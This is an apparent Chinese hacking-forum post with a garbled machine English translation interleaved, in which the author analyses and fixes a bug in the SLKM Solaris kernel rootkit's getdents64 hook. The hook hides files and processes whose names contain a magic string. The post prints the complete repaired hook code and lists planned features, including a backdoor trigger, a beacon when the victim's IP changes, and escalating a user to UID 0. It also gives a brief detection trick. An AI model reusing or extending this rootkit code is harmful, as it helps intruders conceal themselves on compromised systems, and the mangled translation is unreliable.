安全焦点 Security Focus
最近弄了一下SLKM,把那个隐含目录/文件名的BUG给补了一下,可能以前有人补过了吧? Recently get a bit SLKM, to that hidden directory / file names BUG to fill a little, before someone could mend it? 其实问题很简单,我也弄不明白为何原作者不花一下心思,把它修一下,还在注解里抱怨File System Driver有问题,看来也是一知半解。 The answer is very simple, I could not understand why the original author does not spend a bit mind, it trim, still complaining about File System Driver notes in question, it seems that is little understood. 俺真的不信以前没人补过。 I really do not believe that no one before the mend.
下面跟大家讲一下吧,对LLKM一样有效哦。 Here to talk about it with you, as effective on LLKM Oh.
原理不用俺多说,简而言之就用自己的函数来替换getdents64(LLKM为getdents), 使得那些使用这个系统调用的程序无法看到我们那些含有特征子串为文件名的目录/文件名。 Principles do not I say, short on their own function to replace getdents64 (LLKM as getdents), making those who use the system calls the program can not see us as a substring that contains the features of the filename directory / file name.
让我们来看一下那个newgetdents64做了些什么。 Let us look at that newgetdents64 done.
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte) int newgetdents64 (int fildes, struct dirent64 * buf, size_t nbyte)
{ {
int ret, oldret, i, reclen; int ret, oldret, i, reclen;
struct dirent64 *buf2, *buf3; struct dirent64 * buf2, * buf3;
先调用原来的系统调用 First call the original system call
oldret = (*oldgetdents64) (fildes, buf, nbyte); oldret = (* oldgetdents64) (fildes, buf, nbyte);
返回实际上driver在buf中写了多少字节,也就是所有entry长度的总和ret = oldret; In fact the driver to return the number of bytes written in buf, which is the sum of all the entry length ret = oldret;
如果返回值大于零--buf里有东西 If the return value is greater than zero - buf, there are things
if (ret > 0) { if (ret> 0) {
在内核中申请ret那么长的内存空间,用来复制用户空间中的buf的内容哦。 Application in the kernel memory space so long ret, used to copy user space content of buf Oh. 我们对含特殊子串的目录和文件名的过滤都要在这个buf2中进行 We are a special sub-string containing the directory and file name of the filter should be carried out in this buf2
buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP); buf2 = (struct dirent64 *) kmem_alloc (ret, KM_SLEEP);
把用户空间的buf复制到内核空间的buf2, ret那么长 Buf to user space to kernel space, buf2, ret so long
copyin((char *) buf, (char *) buf2, ret); copyin ((char *) buf, (char *) buf2, ret);
注意:buf3和buf2现在都指向申请到的那片内存的开始位置 Note: buf3 and buf2 are now directed to apply the patch to the beginning of memory location
buf3 = buf2; buf3 = buf2;
为buffer中剩下未处理的目录项的长度 The remaining untreated for the buffer length of directory entry
i = ret; i = ret;
处理直到buf2里的东西被处理完为止 Process until buf2 where things have been processed so far
while (i > 0) { while (i> 0) {
取buf3所指向的目录项长度 Take buf3 directory entry points to the length of
reclen = buf3->d_reclen; reclen = buf3-> d_reclen;
剩下未处理的buffer长度减掉这个目录项的长度 The remaining untreated buffer length minus the length of the directory entry
i -= reclen; i -= reclen;
如果文件名或者进程的程序名含有我们的特征子串,呵呵 If the file name or the name of the application process with the characteristics of our sub-string, Oh
if ((strstr((char *) &(buf3->d_name), (char *) &magic) != NULL) || if ((strstr ((char *) & (buf3-> d_name), (char *) & magic)! = NULL) | |
check_for_process((char *) &(buf3->d_name))) { check_for_process ((char *) & (buf3-> d_name))) {
#ifdef DEBUG # Ifdef DEBUG
cmn_err(CE_NOTE, "sitf: hiding file/process (%s)", buf3->d_name); cmn_err (CE_NOTE, "sitf: hiding file / process (% s)", buf3-> d_name);
#endif # Endif
如果不是最后一个目录项 If a directory entry is not the last
if (i != 0) if (i! = 0)
那么,来个内存搬家:把后面剩下的那些目录项拷贝到前面来,注:buf3目前正指向我们的那个要隐含的东东。 Then, move to a memory: the back of the rest of those directory entries copied to the front, Note: buf3 point we are now to be implied that stuff. 这样一来后面的目录项就复盖掉我们的目录项了达到了目的,到目前为止,一切都是好的。 As a directory entry on the back cover off of our catalog items to its purpose, so far, everything is good.
memmove(buf3, (char *) buf3 + buf3->d_reclen, i); memmove (buf3, (char *) buf3 + buf3-> d_reclen, i);
else else
否则,当前项为最后一项 Otherwise, the current item for the last
buf3->d_off = 1024; buf3-> d_off = 1024;
有谁能告诉我1024这个Magic Number在这起什么做用? Can anyone tell me the Magic Number in 1024 from what to do with this?
过滤掉了我们的目录项,应该从返回值中减掉这一项的长 Filtered out of our catalog items, the return value should be subtracted from this a long
度,不然的话,掉用它的应用成序可能会crash哦 Degree, otherwise, out of sequence with its application might crash into the oh
ret -= reclen; ret -= reclen;
} }
这个if语句,真不应该在这出现 The if statement, I really should not appear in this
if (buf3->d_reclen < 1) { if (buf3-> d_reclen <1) {
ret -= i; ret -= i;
i = 0; i = 0;
} }
这才是最重要的环节! This is the most important part! ! ! ! ! 如果buffer里还有剩下未处理的目录项,buf3指针将指向下一个。 If left untreated buffer where there is a directory entry, buf3 pointer will point to the next. ! ! @#$%看到问题了吗? @ # $% See the problem? 如果当前处理的目录项不含有我们的特征子串那么buf3指针指向下一项--没问题但是如果含有呢? If the current directory entry does not contain processing characteristics of our substring then buf3 pointer to the next one - no problem but if you contain it? 前面我们不是已经来个内存搬家了吗? We do not have to front a memory move it? 还要往后移干嘛? Why should Move? 乱移一通,和i的值不协调,不crash才怪呢? Chaos shift a pass, and the value of i inconsistent, not crash when pigs fly? ! ! 难怪原作者在那抱怨呢。 In that complaint it is no wonder that the original author. 上面那个if就是用来胡乱修正返回值和i的值的。 Above that if the return value is used to correct random and i values. 所以遇到问题不要抱怨,要多花点心思。 So do not complain about problems, to a little thought. 正确的处理方法是,要在这里多加个判断来解决掉这个臭BUG The correct approach is to determine where to add a BUG to get rid of this smell
if (i != 0) if (i! = 0)
buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen); buf3 = (struct dirent64 *) ((char *) buf3 + buf3-> d_reclen);
} }
处理完所有的目录项,把它复制回到用户空间的buf中 Processed all the directory entries, and copy it back to the user space in buf
copyout((char *) buf2, (char *) buf, ret); copyout ((char *) buf2, (char *) buf, ret);
把内存还给OS The memory back to OS
kmem_free(buf2, oldret); kmem_free (buf2, oldret);
} }
return ret; return ret;
} }
所以,也不是什么strstr函数不可靠的问题。 So, not a problem of unreliable strstr function. 而是算法上的错。 But on the wrong algorithm. 那个“天才”的if修补,你看到有多臭了吧。 That "genius" if repair, you see how rotten the bar.
这个BUG的发现不难,修正也不难。 This BUG is not difficult to find, fix is not difficult. 俺的大部分时间都花在分析它所导致的后果上了,自找苦吃:) I spend most of their time on analyzing the consequences of it, and created for itself:)
显而易见的是:如果我们有两个相连的含有特征串的文件或目录,那么第二个就不能够隐含;ls Is obvious: If we have two characteristics linked to a string containing the file or directory, then the second can not be hidden; ls
至少不能看到含有特征串目录/文件名的子目录下的新建文件。 Characteristics can not see at least a string containing the directory / file name new file under a subdirectory. 信不信由你。 Believe it or not.
所以如果你怀疑你的机子给Script Kiddies用了LKM,在那个可能的子目录下touch AAA, 如果ls So if you suspect that your machine to the Script Kiddies use the LKM, that may be in the subdirectory touch AAA, if ls
看不到AAA,那么恭喜你了。 See AAA, then congratulations to you.
还有其他情况,要说清楚得要画图,这里就免了。 There are other circumstances, have to be drawing to make it clear, here on a free.
至于如何修改,俺比较懒,就简单地多加一个布尔变量来判断就行了。 As for how to modify, I lazy, you simply add an extra boolean variable to determine on the line. 至于那个天才的if语句,就让它到别的地方去发挥作用吧。 As for the genius of the if statement, just let it go somewhere else to play a role in it. 当然如果你有时间,可以考虑重写这个函数。 Of course, if you have time, consider rewriting the function.
下面是俺的简单修改。 Here I simple changes.
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte) int newgetdents64 (int fildes, struct dirent64 * buf, size_t nbyte)
{ {
int ret, oldret, i, reclen, bMovePointer; int ret, oldret, i, reclen, bMovePointer;
struct dirent64 *buf2, *buf3; struct dirent64 * buf2, * buf3;
oldret = (*oldgetdents64) (fildes, buf, nbyte); oldret = (* oldgetdents64) (fildes, buf, nbyte);
ret = oldret; ret = oldret;
if (ret > 0) { if (ret> 0) {
buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP); buf2 = (struct dirent64 *) kmem_alloc (ret, KM_SLEEP);
copyin((char *) buf, (char *) buf2, ret); copyin ((char *) buf, (char *) buf2, ret);
buf3 = buf2; buf3 = buf2;
i = ret; i = ret;
while (i > 0) { while (i> 0) {
bMovePointer = 1; /*需要下面的buf3指向下一项 bMovePointer = 1; / * need to point to the next item below buf3
reclen = buf3->d_reclen; reclen = buf3-> d_reclen;
i -= reclen; i -= reclen;
if ((strstr((char *) &(buf3->d_name), (char *) &magic) != NULL) || if ((strstr ((char *) & (buf3-> d_name), (char *) & magic)! = NULL) | |
check_for_process((char *) &(buf3->d_name))) { check_for_process ((char *) & (buf3-> d_name))) {
#ifdef DEBUG # Ifdef DEBUG
cmn_err(CE_NOTE, "sitf: hiding file/process (%s)", buf3->d_name); cmn_err (CE_NOTE, "sitf: hiding file / process (% s)", buf3-> d_name);
#endif # Endif
if (i != 0) if (i! = 0)
{ {
memmove(buf3, (char *) buf3 + buf3->d_reclen, i); memmove (buf3, (char *) buf3 + buf3-> d_reclen, i);
} }
else else
{ {
buf3->d_off = 1024; buf3-> d_off = 1024;
} }
ret -= reclen; ret -= reclen;
bMovePointer = 0; /*buf3不要指向下一项 bMovePointer = 0; / * buf3 do not point to the next item
} }
if (i != 0 && bMovePointer) if (i! = 0 & & bMovePointer)
{ {
buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen); buf3 = (struct dirent64 *) ((char *) buf3 + buf3-> d_reclen);
} }
} }
copyout((char *) buf2, (char *) buf, ret); copyout ((char *) buf2, (char *) buf, ret);
kmem_free(buf2, oldret); kmem_free (buf2, oldret);
} }
return ret; return ret;
} }
俺正盘算着如何增加SLKM的功能,毕竟那是个人家试范的东西,离达到我们实用的程度还有一段距离。 I was wondering how to increase SLKM function, after all, is a personal home test range of things, from the practical to the extent that we have some distance.
俺的初步设想是: I initial ideas are:
1) 当我们在外面叫“籽麻开门!”应该会有“Sesami!sesami!”为我们开门哦。 1) When we called out "seed hemp door!" Should be "Sesami! Sesami!" Oh, open the door for us.
2) 当Victim换了IP/Domain Name再连上Internet时,会发报“黄河!黄河!我是长江!我是长江!...” 2) When the Victim for the IP / Domain Name and then connected to the Internet when transmitters "Yellow! Yellow! I Yangtze! I Yangtze !..."
3) 起码要有隐含提供给它的进程号功能 3) it must be at least implicitly available to the process number of functions
4) 起码会把当前在线的某个用户用户ID,变成UID0 4) will present at least one user online user ID, into UID0
5) 可以把当前在线的root降级。 5) You can downgrade the root of the current line.
...... ......
大家如果有什么好的建议,不妨提一提。 If you have any good suggestions you may wish to mention.
Tidak ada komentar:
Posting Komentar